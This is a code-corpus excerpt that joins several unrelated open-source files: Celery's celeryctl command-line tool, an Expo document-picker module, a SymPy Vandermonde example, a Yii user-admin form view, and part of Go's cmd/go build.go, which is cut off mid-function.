self.say("->", c.cyan(node, ": ") + status, indent(preply)) self.say("<-", command) i = self.app.control.inspect(destination=destination, timeout=timeout, callback=on_reply) replies = getattr(i, command)(*args[1:]) if not replies: raise Error("No nodes replied within time constraint.") return replies def say(self, direction, title, body=""): c = self.colored if direction == "<-" and self.quiet: return dirstr = not self.quiet and c.bold(c.white(direction), " ") or "" self.out(c.reset(dirstr, title)) if body and not self.quiet: self.out(body) inspect = command(inspect) def indent(s, n=4): i = [" " * n + l for l in s.split("\n")] return "\n".join("\n".join(wrap(j)) for j in i) class status(Command): option_list = inspect.option_list def run(self, *args, **kwargs): replies = inspect(app=self.app, no_color=kwargs.get("no_color", False)) \ .run("ping", **dict(kwargs, quiet=True)) if not replies: raise Error("No nodes replied within time constraint") nodecount = len(replies) if not kwargs.get("quiet", False): self.out("\n%s %s online." % (nodecount, nodecount > 1 and "nodes" or "node")) status = command(status) class help(Command): def usage(self, command): return "%%prog <command> [options] %s" % (self.args, ) def run(self, *args, **kwargs): self.parser.print_help() usage = ["", "Type '%s <command> --help' for help on a " "specific command." % (self.prog_name, ), "", "Available commands:"] for command in list(sorted(commands.keys())): usage.append(" %s" % command) self.out("\n".join(usage)) help = command(help) class celeryctl(CeleryCommand): commands = commands def execute(self, command, argv=None): try: cls = self.commands[command] except KeyError: cls, argv = self.commands["help"], ["help"] cls = self.commands.get(command) or self.commands["help"] try: cls(app=self.app).run_from_argv(self.prog_name, argv) except Error: return self.execute("help", argv) def handle_argv(self, prog_name, argv): self.prog_name = prog_name try: command = argv[0] except IndexError: command, argv = "help", ["help"] return self.execute(command, argv) def main(): try: celeryctl().execute_from_commandline() except KeyboardInterrupt: pass if __name__ == "__main__": # pragma: no cover main()
WoLpH/celery
celery/bin/celeryctl.py
Python
bsd-3-clause
11,318
import { NativeModulesProxy } from 'expo-modules-core'; export default NativeModulesProxy.ExpoDocumentPicker; //# sourceMappingURL=ExpoDocumentPicker.js.map
exponentjs/exponent
packages/expo-document-picker/build/ExpoDocumentPicker.js
JavaScript
bsd-3-clause
156
import sys sys.path.append("..") from sympy import sqrt, symbols, eye w, x, y, z = symbols("wxyz") L = [x,y,z] V = eye(len(L)) for i in range(len(L)): for j in range(len(L)): V[i,j] = L[i]**j det = 1 for i in range(len(L)): det *= L[i]-L[i-1] print "matrix" print V print "det:" print V.det().expand() print "correct result" print det print det.expand()
certik/sympy-oldcore
examples/vandermonde.py
Python
bsd-3-clause
372
<div class="form"> <?php $form = $this->beginWidget('CActiveForm', array( 'id'=>'user-form', 'enableAjaxValidation'=>false)); ?> <div class="note"> <?php echo Yum::requiredFieldNote(); ?> <? $models = array($model, $passwordform); if(isset($profile) && $profile !== false) $models[] = $profile; echo CHtml::errorSummary($models); ?> </div> <div style="float: right; margin: 10px;"> <div class="row"> <?php echo $form->labelEx($model, 'superuser'); echo $form->dropDownList($model, 'superuser',YumUser::itemAlias('AdminStatus')); echo $form->error($model, 'superuser'); ?> </div> <div class="row"> <?php echo $form->labelEx($model,'status'); echo $form->dropDownList($model,'status',YumUser::itemAlias('UserStatus')); echo $form->error($model,'status'); ?> </div> <?php if(Yum::hasModule('role')) { Yii::import('application.modules.role.models.*'); ?> <div class="row roles"> <p> <?php echo Yum::t('User belongs to these roles'); ?> </p> <?php $this->widget('YumModule.components.Relation', array( 'model' => $model, 'relation' => 'roles', 'style' => 'dropdownlist', 'fields' => 'title', 'showAddButton' => false )); ?> </div> <?php } ?> </div> <div class="row"> <?php echo $form->labelEx($model, 'username'); echo $form->textField($model, 'username'); echo $form->error($model, 'username'); ?> </div> <div class="row"> <p> Leave password <em> empty </em> to <?php echo $model->isNewRecord ? 'generate a random Password' : 'keep it <em> unchanged </em>'; ?> </p> <?php $this->renderPartial('/user/passwordfields', array( 'form'=>$passwordform)); ?> </div> <?php if(Yum::hasModule('profile')) $this->renderPartial('application.modules.profile.views.profile._form', array( 'profile' => $profile)); ?> <div class="row buttons"> <?php echo CHtml::submitButton($model->isNewRecord ? Yum::t('Create') : Yum::t('Save')); ?> </div> <?php $this->endWidget(); ?> </div> <div style="clear:both;"></div>
stsoft/printable
protected/modules/user/views/user/_form.php
PHP
bsd-3-clause
1,959
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( "bufio" "bytes" "container/heap" "debug/elf" "errors" "flag" "fmt" "go/build" "io" "io/ioutil" "log" "os" "os/exec" "path" "path/filepath" "regexp" "runtime" "strconv" "strings" "sync" "time" ) var cmdBuild = &Command{ UsageLine: "build [-o output] [-i] [build flags] [packages]", Short: "compile packages and dependencies", Long: ` Build compiles the packages named by the import paths, along with their dependencies, but it does not install the results. If the arguments to build are a list of .go files, build treats them as a list of source files specifying a single package. When compiling a single main package, build writes the resulting executable to an output file named after the first source file ('go build ed.go rx.go' writes 'ed' or 'ed.exe') or the source code directory ('go build unix/sam' writes 'sam' or 'sam.exe'). The '.exe' suffix is added when writing a Windows executable. When compiling multiple packages or a single non-main package, build compiles the packages but discards the resulting object, serving only as a check that the packages can be built. When compiling packages, build ignores files that end in '_test.go'. The -o flag, only allowed when compiling a single package, forces build to write the resulting executable or object to the named output file, instead of the default behavior described in the last two paragraphs. The -i flag installs the packages that are dependencies of the target. The build flags are shared by the build, clean, get, install, list, run, and test commands: -a force rebuilding of packages that are already up-to-date. -n print the commands but do not run them. -p n the number of programs, such as build commands or test binaries, that can be run in parallel. The default is the number of CPUs available. -race enable data race detection. Supported only on linux/amd64, freebsd/amd64, darwin/amd64 and windows/amd64. -msan enable interoperation with memory sanitizer. Supported only on linux/amd64, and only with Clang/LLVM as the host C compiler. -v print the names of packages as they are compiled. -work print the name of the temporary work directory and do not delete it when exiting. -x print the commands. -asmflags 'flag list' arguments to pass on each go tool asm invocation. -buildmode mode build mode to use. See 'go help buildmode' for more. -compiler name name of compiler to use, as in runtime.Compiler (gccgo or gc). -gccgoflags 'arg list' arguments to pass on each gccgo compiler/linker invocation. -gcflags 'arg list' arguments to pass on each go tool compile invocation. -installsuffix suffix a suffix to use in the name of the package installation directory, in order to keep output separate from default builds. If using the -race flag, the install suffix is automatically set to race or, if set explicitly, has _race appended to it. Likewise for the -msan flag. Using a -buildmode option that requires non-default compile flags has a similar effect. -ldflags 'flag list' arguments to pass on each go tool link invocation. -linkshared link against shared libraries previously created with -buildmode=shared. -pkgdir dir install and load all packages from dir instead of the usual locations. For example, when building with a non-standard configuration, use -pkgdir to keep generated packages in a separate location. -tags 'tag list' a list of build tags to consider satisfied during the build. For more information about build tags, see the description of build constraints in the documentation for the go/build package. -toolexec 'cmd args' a program to use to invoke toolchain programs like vet and asm. For example, instead of running asm, the go command will run 'cmd args /path/to/asm <arguments for asm>'. The list flags accept a space-separated list of strings. To embed spaces in an element in the list, surround it with either single or double quotes. For more about specifying packages, see 'go help packages'. For more about where packages and binaries are installed, run 'go help gopath'. For more about calling between Go and C/C++, run 'go help c'. Note: Build adheres to certain conventions such as those described by 'go help gopath'. Not all projects can follow these conventions, however. Installations that have their own conventions or that use a separate software build system may choose to use lower-level invocations such as 'go tool compile' and 'go tool link' to avoid some of the overheads and design decisions of the build tool. See also: go install, go get, go clean. `, } func init() { // break init cycle cmdBuild.Run = runBuild cmdInstall.Run = runInstall cmdBuild.Flag.BoolVar(&buildI, "i", false, "") addBuildFlags(cmdBuild) addBuildFlags(cmdInstall) } // Flags set by multiple commands. var buildA bool // -a flag var buildN bool // -n flag var buildP = runtime.NumCPU() // -p flag var buildV bool // -v flag var buildX bool // -x flag var buildI bool // -i flag var buildO = cmdBuild.Flag.String("o", "", "output file") var buildWork bool // -work flag var buildAsmflags []string // -asmflags flag var buildGcflags []string // -gcflags flag var buildLdflags []string // -ldflags flag var buildGccgoflags []string // -gccgoflags flag var buildRace bool // -race flag var buildMSan bool // -msan flag var buildToolExec []string // -toolexec flag var buildBuildmode string // -buildmode flag var buildLinkshared bool // -linkshared flag var buildPkgdir string // -pkgdir flag var buildContext = build.Default var buildToolchain toolchain = noToolchain{} var ldBuildmode string // buildCompiler implements flag.Var. // It implements Set by updating both // buildToolchain and buildContext.Compiler. type buildCompiler struct{} func (c buildCompiler) Set(value string) error { switch value { case "gc": buildToolchain = gcToolchain{} case "gccgo": buildToolchain = gccgoToolchain{} default: return fmt.Errorf("unknown compiler %q", value) } buildContext.Compiler = value return nil } func (c buildCompiler) String() string { return buildContext.Compiler } func init() { switch build.Default.Compiler { case "gc": buildToolchain = gcToolchain{} case "gccgo": buildToolchain = gccgoToolchain{} } } // addBuildFlags adds the flags common to the build, clean, get, // install, list, run, and test commands. func addBuildFlags(cmd *Command) { cmd.Flag.BoolVar(&buildA, "a", false, "") cmd.Flag.BoolVar(&buildN, "n", false, "") cmd.Flag.IntVar(&buildP, "p", buildP, "") cmd.Flag.BoolVar(&buildV, "v", false, "") cmd.Flag.BoolVar(&buildX, "x", false, "") cmd.Flag.Var((*stringsFlag)(&buildAsmflags), "asmflags", "") cmd.Flag.Var(buildCompiler{}, "compiler", "") cmd.Flag.StringVar(&buildBuildmode, "buildmode", "default", "") cmd.Flag.Var((*stringsFlag)(&buildGcflags), "gcflags", "") cmd.Flag.Var((*stringsFlag)(&buildGccgoflags), "gccgoflags", "") cmd.Flag.StringVar(&buildContext.InstallSuffix, "installsuffix", "", "") cmd.Flag.Var((*stringsFlag)(&buildLdflags), "ldflags", "") cmd.Flag.BoolVar(&buildLinkshared, "linkshared", false, "") cmd.Flag.StringVar(&buildPkgdir, "pkgdir", "", "") cmd.Flag.BoolVar(&buildRace, "race", false, "") cmd.Flag.BoolVar(&buildMSan, "msan", false, "") cmd.Flag.Var((*stringsFlag)(&buildContext.BuildTags), "tags", "") cmd.Flag.Var((*stringsFlag)(&buildToolExec), "toolexec", "") cmd.Flag.BoolVar(&buildWork, "work", false, "") } func addBuildFlagsNX(cmd *Command) { cmd.Flag.BoolVar(&buildN, "n", false, "") cmd.Flag.BoolVar(&buildX, "x", false, "") } func isSpaceByte(c byte) bool { return c == ' ' || c == '\t' || c == '\n' || c == '\r' } // fileExtSplit expects a filename and returns the name // and ext (without the dot). If the file has no // extension, ext will be empty. func fileExtSplit(file string) (name, ext string) { dotExt := filepath.Ext(file) name = file[:len(file)-len(dotExt)] if dotExt != "" { ext = dotExt[1:] } return } type stringsFlag []string func (v *stringsFlag) Set(s string) error { var err error *v, err = splitQuotedFields(s) if *v == nil { *v = []string{} } return err } func splitQuotedFields(s string) ([]string, error) { // Split fields allowing '' or "" around elements. // Quotes further inside the string do not count. var f []string for len(s) > 0 { for len(s) > 0 && isSpaceByte(s[0]) { s = s[1:] } if len(s) == 0 { break } // Accepted quoted string. No unescaping inside. if s[0] == '"' || s[0] == '\'' { quote := s[0] s = s[1:] i := 0 for i < len(s) && s[i] != quote { i++ } if i >= len(s) { return nil, fmt.Errorf("unterminated %c string", quote) } f = append(f, s[:i]) s = s[i+1:] continue } i := 0 for i < len(s) && !isSpaceByte(s[i]) { i++ } f = append(f, s[:i]) s = s[i:] } return f, nil } func (v *stringsFlag) String() string { return "<stringsFlag>" } func pkgsMain(pkgs []*Package) (res []*Package) { for _, p := range pkgs { if p.Name == "main" { res = append(res, p) } } return res } func pkgsNotMain(pkgs []*Package) (res []*Package) { for _, p := range pkgs { if p.Name != "main" { res = append(res, p) } } return res } var pkgsFilter = func(pkgs []*Package) []*Package { return pkgs } func buildModeInit() { _, gccgo := buildToolchain.(gccgoToolchain) var codegenArg string platform := goos + "/" + goarch switch buildBuildmode { case "archive": pkgsFilter = pkgsNotMain case "c-archive": pkgsFilter = func(p []*Package) []*Package { if len(p) != 1 || p[0].Name != "main" { fatalf("-buildmode=c-archive requires exactly one main package") } return p } switch platform { case "darwin/arm", "darwin/arm64": codegenArg = "-shared" default: } exeSuffix = ".a" ldBuildmode = "c-archive" case "c-shared": pkgsFilter = pkgsMain if gccgo { codegenArg = "-fPIC" } else { switch platform { case "linux/amd64", "linux/arm", "linux/arm64", "linux/386", "android/amd64", "android/arm", "android/arm64", "android/386": codegenArg = "-shared" case "darwin/amd64", "darwin/386": default: fatalf("-buildmode=c-shared not supported on %s\n", platform) } } ldBuildmode = "c-shared" case "default": switch platform { case "android/arm", "android/arm64", "android/amd64", "android/386": codegenArg = "-shared" ldBuildmode = "pie" case "darwin/arm", "darwin/arm64": codegenArg = "-shared" fallthrough default: ldBuildmode = "exe" } case "exe": pkgsFilter = pkgsMain ldBuildmode = "exe" case "pie": if gccgo { fatalf("-buildmode=pie not supported by gccgo") } else { switch platform { case "linux/386", "linux/amd64", "linux/arm", "linux/arm64", "linux/ppc64le", "linux/s390x", "android/amd64", "android/arm", "android/arm64", "android/386": codegenArg = "-shared" default: fatalf("-buildmode=pie not supported on %s\n", platform) } } ldBuildmode = "pie" case "shared": pkgsFilter = pkgsNotMain if gccgo { codegenArg = "-fPIC" } else { switch platform { case "linux/386", "linux/amd64", "linux/arm", "linux/arm64", "linux/ppc64le", "linux/s390x": default: fatalf("-buildmode=shared not supported on %s\n", platform) } codegenArg = "-dynlink" } if *buildO != "" { fatalf("-buildmode=shared and -o not supported together") } ldBuildmode = "shared" default: fatalf("buildmode=%s not supported", buildBuildmode) } if buildLinkshared { if gccgo { codegenArg = "-fPIC" } else { switch platform { case "linux/386", "linux/amd64", "linux/arm", "linux/arm64", "linux/ppc64le", "linux/s390x": buildAsmflags = append(buildAsmflags, "-D=GOBUILDMODE_shared=1") default: fatalf("-linkshared not supported on %s\n", platform) } codegenArg = "-dynlink" // TODO(mwhudson): remove -w when that gets fixed in linker. buildLdflags = append(buildLdflags, "-linkshared", "-w") } } if codegenArg != "" { if gccgo { buildGccgoflags = append(buildGccgoflags, codegenArg) } else { buildAsmflags = append(buildAsmflags, codegenArg) buildGcflags = append(buildGcflags, codegenArg) } if buildContext.InstallSuffix != "" { buildContext.InstallSuffix += "_" } buildContext.InstallSuffix += codegenArg[1:] } } func runBuild(cmd *Command, args []string) { instrumentInit() buildModeInit() var b builder b.init() pkgs := packagesForBuild(args) if len(pkgs) == 1 && pkgs[0].Name == "main" && *buildO == "" { _, *buildO = path.Split(pkgs[0].ImportPath) *buildO += exeSuffix } // sanity check some often mis-used options switch buildContext.Compiler { case "gccgo": if len(buildGcflags) != 0 { fmt.Println("go build: when using gccgo toolchain, please pass compiler flags using -gccgoflags, not -gcflags") } if len(buildLdflags) != 0 { fmt.Println("go build: when using gccgo toolchain, please pass linker flags using -gccgoflags, not -ldflags") } case "gc": if len(buildGccgoflags) != 0 { fmt.Println("go build: when using gc toolchain, please pass compile flags using -gcflags, and linker flags using -ldflags") } } depMode := modeBuild if buildI { depMode = modeInstall } if *buildO != "" { if len(pkgs) > 1 { fatalf("go build: cannot use -o with multiple packages") } else if len(pkgs) == 0 { fatalf("no packages to build") } p := pkgs[0] p.target = *buildO p.Stale = true // must build - not up to date p.StaleReason = "build -o flag in use" a := b.action(modeInstall, depMode, p) b.do(a) return } var a *action if buildBuildmode == "shared" { pkgs := pkgsFilter(packages(args)) if libName, err := libname(args, pkgs); err != nil { fatalf("%s", err.Error()) } else { a = b.libaction(libName, pkgs, modeBuild, depMode) } } else { a = &action{} for _, p := range pkgsFilter(packages(args)) { a.deps = append(a.deps, b.action(modeBuild, depMode, p)) } } b.do(a) } var cmdInstall = &Command{ UsageLine: "install [build flags] [packages]", Short: "compile and install packages and dependencies", Long: ` Install compiles and installs the packages named by the import paths, along with their dependencies. For more about the build flags, see 'go help build'. For more about specifying packages, see 'go help packages'. See also: go build, go get, go clean. `, } // isMetaPackage checks if name is a reserved package name that expands to multiple packages func isMetaPackage(name string) bool { return name == "std" || name == "cmd" || name == "all" } // libname returns the filename to use for the shared library when using // -buildmode=shared. The rules we use are: // Use arguments for special 'meta' packages: // std --> libstd.so // std cmd --> libstd,cmd.so // A single non-meta argument with trailing "/..." is special cased: // foo/... --> libfoo.so // (A relative path like "./..." expands the "." first) // Use import paths for other cases, changing '/' to '-': // somelib --> libsubdir-somelib.so // ./ or ../ --> libsubdir-somelib.so // gopkg.in/tomb.v2 -> libgopkg.in-tomb.v2.so // a/... b/... ---> liba/c,b/d.so - all matching import paths // Name parts are joined with ','. func libname(args []string, pkgs []*Package) (string, error) { var libname string appendName := func(arg string) { if libname == "" { libname = arg } else { libname += "," + arg } } var haveNonMeta bool for _, arg := range args { if isMetaPackage(arg) { appendName(arg) } else { haveNonMeta = true } } if len(libname) == 0 { // non-meta packages only. use import paths if len(args) == 1 && strings.HasSuffix(args[0], "/...") { // Special case of "foo/..." as mentioned above. arg := strings.TrimSuffix(args[0], "/...") if build.IsLocalImport(arg) { cwd, _ := os.Getwd() bp, _ := buildContext.ImportDir(filepath.Join(cwd, arg), build.FindOnly) if bp.ImportPath != "" && bp.ImportPath != "." { arg = bp.ImportPath } } appendName(strings.Replace(arg, "/", "-", -1)) } else { for _, pkg := range pkgs { appendName(strings.Replace(pkg.ImportPath, "/", "-", -1)) } } } else if haveNonMeta { // have both meta package and a non-meta one return "", errors.New("mixing of meta and non-meta packages is not allowed") } // TODO(mwhudson): Needs to change for platforms that use different naming // conventions... return "lib" + libname + ".so", nil } func runInstall(cmd *Command, args []string) { if gobin != "" && !filepath.IsAbs(gobin) { fatalf("cannot install, GOBIN must be an absolute path") } instrumentInit() buildModeInit() pkgs := pkgsFilter(packagesForBuild(args)) for _, p := range pkgs { if p.Target == "" && (!p.Standard || p.ImportPath != "unsafe") { switch { case p.gobinSubdir: errorf("go install: cannot install cross-compiled binaries when GOBIN is set") case p.cmdline: errorf("go install: no install location for .go files listed on command line (GOBIN not set)") case p.ConflictDir != "": errorf("go install: no install location for %s: hidden by %s", p.Dir, p.ConflictDir) default: errorf("go install: no install location for directory %s outside GOPATH\n"+ "\tFor more details see: go help gopath", p.Dir) } } } exitIfErrors() var b builder b.init() var a *action if buildBuildmode == "shared" { if libName, err := libname(args, pkgs); err != nil { fatalf("%s", err.Error()) } else { a = b.libaction(libName, pkgs, modeInstall, modeInstall) } } else { a = &action{} var tools []*action for _, p := range pkgs { // If p is a tool, delay the installation until the end of the build. // This avoids installing assemblers/compilers that are being executed // by other steps in the build. // cmd/cgo is handled specially in b.action, so that we can // both build and use it in the same 'go install'. action := b.action(modeInstall, modeInstall, p) if goTools[p.ImportPath] == toTool && p.ImportPath != "cmd/cgo" { a.deps = append(a.deps, action.deps...) action.deps = append(action.deps, a) tools = append(tools, action) continue } a.deps = append(a.deps, action) } if len(tools) > 0 { a = &action{ deps: tools, } } } b.do(a) exitIfErrors() // Success. If this command is 'go install' with no arguments // and the current directory (the implicit argument) is a command, // remove any leftover command binary from a previous 'go build'. // The binary is installed; it's not needed here anymore. // And worse it might be a stale copy, which you don't want to find // instead of the installed one if $PATH contains dot. // One way to view this behavior is that it is as if 'go install' first // runs 'go build' and the moves the generated file to the install dir. // See issue 9645. if len(args) == 0 && len(pkgs) == 1 && pkgs[0].Name == "main" { // Compute file 'go build' would have created. // If it exists and is an executable file, remove it. _, targ := filepath.Split(pkgs[0].ImportPath) targ += exeSuffix if filepath.Join(pkgs[0].Dir, targ) != pkgs[0].Target { // maybe $GOBIN is the current directory fi, err := os.Stat(targ) if err == nil { m := fi.Mode() if m.IsRegular() { if m&0111 != 0 || goos == "windows" { // windows never sets executable bit os.Remove(targ) } } } } } } // Global build parameters (used during package load) var ( goarch string goos string exeSuffix string gopath []string ) func init() { goarch = buildContext.GOARCH goos = buildContext.GOOS if _, ok := osArchSupportsCgo[goos+"/"+goarch]; !ok { fmt.Fprintf(os.Stderr, "cmd/go: unsupported GOOS/GOARCH pair %s/%s\n", goos, goarch) os.Exit(2) } if goos == "windows" { exeSuffix = ".exe" } gopath = filepath.SplitList(buildContext.GOPATH) } // A builder holds global state about a build. // It does not hold per-package state, because we // build packages in parallel, and the builder is shared. type builder struct { work string // the temporary work directory (ends in filepath.Separator) actionCache map[cacheKey]*action // a cache of already-constructed actions mkdirCache map[string]bool // a cache of created directories flagCache map[string]bool // a cache of supported compiler flags print func(args ...interface{}) (int, error) output sync.Mutex scriptDir string // current directory in printed script exec sync.Mutex readySema chan bool ready actionQueue } // An action represents a single action in the action graph. type action struct { p *Package // the package this action works on deps []*action // actions that must happen before this one triggers []*action // inverse of deps cgo *action // action for cgo binary if needed args []string // additional args for runProgram testOutput *bytes.Buffer // test output buffer f func(*builder, *action) error // the action itself (nil = no-op) ignoreFail bool // whether to run f even if dependencies fail // Generated files, directories. link bool // target is executable, not just package pkgdir string // the -I or -L argument to use when importing this package objdir string // directory for intermediate objects objpkg string // the intermediate package .a file created during the action target string // goal of the action: the created package or executable // Execution state. pending int // number of deps yet to complete priority int // relative execution priority failed bool // whether the action failed } // cacheKey is the key for the action cache. type cacheKey struct { mode buildMode p *Package shlib string } // buildMode specifies the build mode: // are we just building things or also installing the results? type buildMode int const ( modeBuild buildMode = iota modeInstall ) var ( goroot = filepath.Clean(runtime.GOROOT()) gobin = os.Getenv("GOBIN") gorootBin = filepath.Join(goroot, "bin") gorootPkg = filepath.Join(goroot, "pkg") gorootSrc = filepath.Join(goroot, "src") ) func (b *builder) init() { var err error b.print = func(a ...interface{}) (int, error) { return fmt.Fprint(os.Stderr, a...) } b.actionCache = make(map[cacheKey]*action) b.mkdirCache = make(map[string]bool) if buildN { b.work = "$WORK" } else { b.work, err = ioutil.TempDir("", "go-build") if err != nil { fatalf("%s", err) } if buildX || buildWork { fmt.Fprintf(os.Stderr, "WORK=%s\n", b.work) } if !buildWork { workdir := b.work atexit(func() { os.RemoveAll(workdir) }) } } } // goFilesPackage creates a package for building a collection of Go files // (typically named on the command line). The target is named p.a for // package p or named after the first Go file for package main. func goFilesPackage(gofiles []string) *Package { // TODO: Remove this restriction. for _, f := range gofiles { if !strings.HasSuffix(f, ".go") { fatalf("named files must be .go files") } } var stk importStack ctxt := buildContext ctxt.UseAllFiles = true // Synthesize fake "directory" that only shows the named files, // to make it look like this is a standard package or // command directory. So that local imports resolve // consistently, the files must all be in the same directory. var dirent []os.FileInfo var dir string for _, file := range gofiles { fi, err := os.Stat(file) if err != nil { fatalf("%s", err) } if fi.IsDir() { fatalf("%s is a directory, should be a Go file", file) } dir1, _ := filepath.Split(file) if dir1 == "" { dir1 = "./" } if dir == "" { dir = dir1 } else if dir != dir1 { fatalf("named files must all be in one directory; have %s and %s", dir, dir1) } dirent = append(dirent, fi) } ctxt.ReadDir = func(string) ([]os.FileInfo, error) { return dirent, nil } var err error if dir == "" { dir = cwd } dir, err = filepath.Abs(dir) if err != nil { fatalf("%s", err) } bp, err := ctxt.ImportDir(dir, 0) pkg := new(Package) pkg.local = true pkg.cmdline = true stk.push("main") pkg.load(&stk, bp, err) stk.pop() pkg.localPrefix = dirToImportPath(dir) pkg.ImportPath = "command-line-arguments" pkg.target = "" if pkg.Name == "main" { _, elem := filepath.Split(gofiles[0]) exe := elem[:len(elem)-len(".go")] + exeSuffix if *buildO == "" { *buildO = exe } if gobin != "" { pkg.target = filepath.Join(gobin, exe) } } pkg.Target = pkg.target pkg.Stale = true pkg.StaleReason = "files named on command line" computeStale(pkg) return pkg } // readpkglist returns the list of packages that were built into the shared library // at shlibpath. For the native toolchain this list is stored, newline separated, in // an ELF note with name "Go\x00\x00" and type 1. For GCCGO it is extracted from the // .go_export section. func readpkglist(shlibpath string) (pkgs []*Package) { var stk importStack if _, gccgo := buildToolchain.(gccgoToolchain); gccgo { f, _ := elf.Open(shlibpath) sect := f.Section(".go_export") data, _ := sect.Data() scanner := bufio.NewScanner(bytes.NewBuffer(data)) for scanner.Scan() { t := scanner.Text() if strings.HasPrefix(t, "pkgpath ") { t = strings.TrimPrefix(t, "pkgpath ") t = strings.TrimSuffix(t, ";") pkgs = append(pkgs, loadPackage(t, &stk)) } } } else { pkglistbytes, err := readELFNote(shlibpath, "Go\x00\x00", 1) if err != nil { fatalf("readELFNote failed: %v", err) } scanner := bufio.NewScanner(bytes.NewBuffer(pkglistbytes)) for scanner.Scan() { t := scanner.Text() pkgs = append(pkgs, loadPackage(t, &stk)) } } return } // action returns the action for applying the given operation (mode) to the package. // depMode is the action to use when building dependencies. // action never looks for p in a shared library, but may find p's dependencies in a // shared library if buildLinkshared is true. func (b *builder) action(mode buildMode, depMode buildMode, p *Package) *action { return b.action1(mode, depMode, p, false, "") } // action1 returns the action for applying the given operation (mode) to the package. // depMode is the action to use when building dependencies. // action1 will look for p in a shared library if lookshared is true. // forShlib is the shared library that p will become part of, if any. func (b *builder) action1(mode buildMode, depMode buildMode, p *Package, lookshared bool, forShlib string) *action { shlib := "" if lookshared { shlib = p.Shlib } key := cacheKey{mode, p, shlib} a := b.actionCache[key] if a != nil { return a } if shlib != "" { key2 := cacheKey{modeInstall, nil, shlib} a = b.actionCache[key2] if a != nil { b.actionCache[key] = a return a } pkgs := readpkglist(shlib) a = b.libaction(filepath.Base(shlib), pkgs, modeInstall, depMode) b.actionCache[key2] = a b.actionCache[key] = a return a } a = &action{p: p, pkgdir: p.build.PkgRoot} if p.pkgdir != "" { // overrides p.t a.pkgdir = p.pkgdir } b.actionCache[key] = a for _, p1 := range p.imports { if forShlib != "" { // p is part of a shared library. if p1.Shlib != "" && p1.Shlib != forShlib { // p1 is explicitly part of a different shared library. // Put the action for that shared library into a.deps. a.deps = append(a.deps, b.action1(depMode, depMode, p1, true, p1.Shlib)) } else { // p1 is (implicitly or not) part of this shared library. // Put the action for p1 into a.deps. a.deps = append(a.deps, b.action1(depMode, depMode, p1, false, forShlib)) } } else { // p is not part of a shared library. // If p1 is in a shared library, put the action for that into // a.deps, otherwise put the action for p1 into a.deps. a.deps = append(a.deps, b.action1(depMode, depMode, p1, buildLinkshared, p1.Shlib)) } } // If we are not doing a cross-build, then record the binary we'll // generate for cgo as a dependency of the build of any package // using cgo, to make sure we do not overwrite the binary while // a package is using it. If this is a cross-build, then the cgo we // are writing is not the cgo we need to use. if goos == runtime.GOOS && goarch == runtime.GOARCH && !buildRace && !buildMSan { if (len(p.CgoFiles) > 0 || p.Standard && p.ImportPath == "runtime/cgo") && !buildLinkshared && buildBuildmode != "shared" { var stk importStack p1 := loadPackage("cmd/cgo", &stk) if p1.Error != nil { fatalf("load cmd/cgo: %v", p1.Error) } a.cgo = b.action(depMode, depMode, p1) a.deps = append(a.deps, a.cgo) } } if p.Standard { switch p.ImportPath { case "builtin", "unsafe": // Fake packages - nothing to build. return a } // gccgo standard library is "fake" too. if _, ok := buildToolchain.(gccgoToolchain); ok { // the target name is needed for cgo. a.target = p.target return a } } if !p.Stale && p.target != "" { // p.Stale==false implies that p.target is up-to-date. // Record target name for use by actions depending on this one. a.target = p.target return a } if p.local && p.target == "" { // Imported via local path. No permanent target. mode = modeBuild } work := p.pkgdir if work == "" { work = b.work } a.objdir = filepath.Join(work, a.p.ImportPath, "_obj") + string(filepath.Separator) a.objpkg = buildToolchain.pkgpath(work, a.p) a.link = p.Name == "main" switch mode { case modeInstall: a.f = (*builder).install a.deps = []*action{b.action1(modeBuild, depMode, p, lookshared, forShlib)} a.target = a.p.target // Install header for cgo in c-archive and c-shared modes. if p.usesCgo() && (buildBuildmode == "c-archive" || buildBuildmode == "c-shared") { hdrTarget := a.target[:len(a.target)-len(filepath.Ext(a.target))] + ".h" if buildContext.Compiler == "gccgo" { // For the header file, remove the "lib" // added by go/build, so we generate pkg.h // rather than libpkg.h. dir, file := filepath.Split(hdrTarget) file = strings.TrimPrefix(file, "lib") hdrTarget = filepath.Join(dir, file) } ah := &action{ p: a.p, deps: []*action{a.deps[0]}, f: (*builder).installHeader, pkgdir: a.pkgdir, objdir: a.objdir, target: hdrTarget, } a.deps = append(a.deps, ah) } case modeBuild: a.f = (*builder).build a.target = a.objpkg if a.link { // An executable file. (This is the name of a temporary file.) // Because we run the temporary file in 'go run' and 'go test', // the name will show up in ps listings. If the caller has specified // a name, use that instead of a.out. The binary is generated // in an otherwise empty subdirectory named exe to avoid // naming conflicts. The only possible conflict is if we were // to create a top-level package named exe. name := "a.out" if p.exeName != "" { name = p.exeName } else if goos == "darwin" && buildBuildmode == "c-shared" && p.target != "" { // On OS X, the linker output name gets recorded in the // shared library's LC_ID_DYLIB load command. // The code invoking the linker knows to pass only the final // path element. Arrange that the path element matches what // we'll install it as; otherwise the library is only loadable as "a.out". _, name = filepath.Split(p.target) } a.target = a.objdir + filepath.Join("exe", name) + exeSuffix } } return a } func (b *builder) libaction(libname string, pkgs []*Package, mode, depMode buildMode) *action { a := &action{} switch mode { default: fatalf("unrecognized mode %v", mode) case modeBuild: a.f = (*builder).linkShared a.target = filepath.Join(b.work, libname) for _, p := range pkgs { if p.target == "" { continue } a.deps = append(a.deps, b.action(depMode, depMode, p)) } case modeInstall: // Currently build mode shared forces external linking mode, and // external linking mode forces an import of runtime/cgo (and // math on arm). So if it was not passed on the command line and // it is not present in another shared library, add it here. _, gccgo := buildToolchain.(gccgoToolchain) if !gccgo { seencgo := false for _, p := range pkgs { seencgo = seencgo || (p.Standard && p.ImportPath == "runtime/cgo") } if !seencgo { var stk importStack p := loadPackage("runtime/cgo", &stk) if p.Error != nil { fatalf("load runtime/cgo: %v", p.Error) } computeStale(p) // If runtime/cgo is in another shared library, then that's // also the shared library that contains runtime, so // something will depend on it and so runtime/cgo's staleness // will be checked when processing that library. if p.Shlib == "" || p.Shlib == libname { pkgs = append([]*Package{}, pkgs...) pkgs = append(pkgs, p) } } if goarch == "arm" { seenmath := false for _, p := range pkgs { seenmath = seenmath || (p.Standard && p.ImportPath == "math") } if !seenmath { var stk importStack p := loadPackage("math", &stk) if p.Error != nil { fatalf("load math: %v", p.Error) } computeStale(p) // If math is in another shared library, then that's // also the shared library that contains runtime, so // something will depend on it and so math's staleness // will be checked when processing that library. if p.Shlib == "" || p.Shlib == libname { 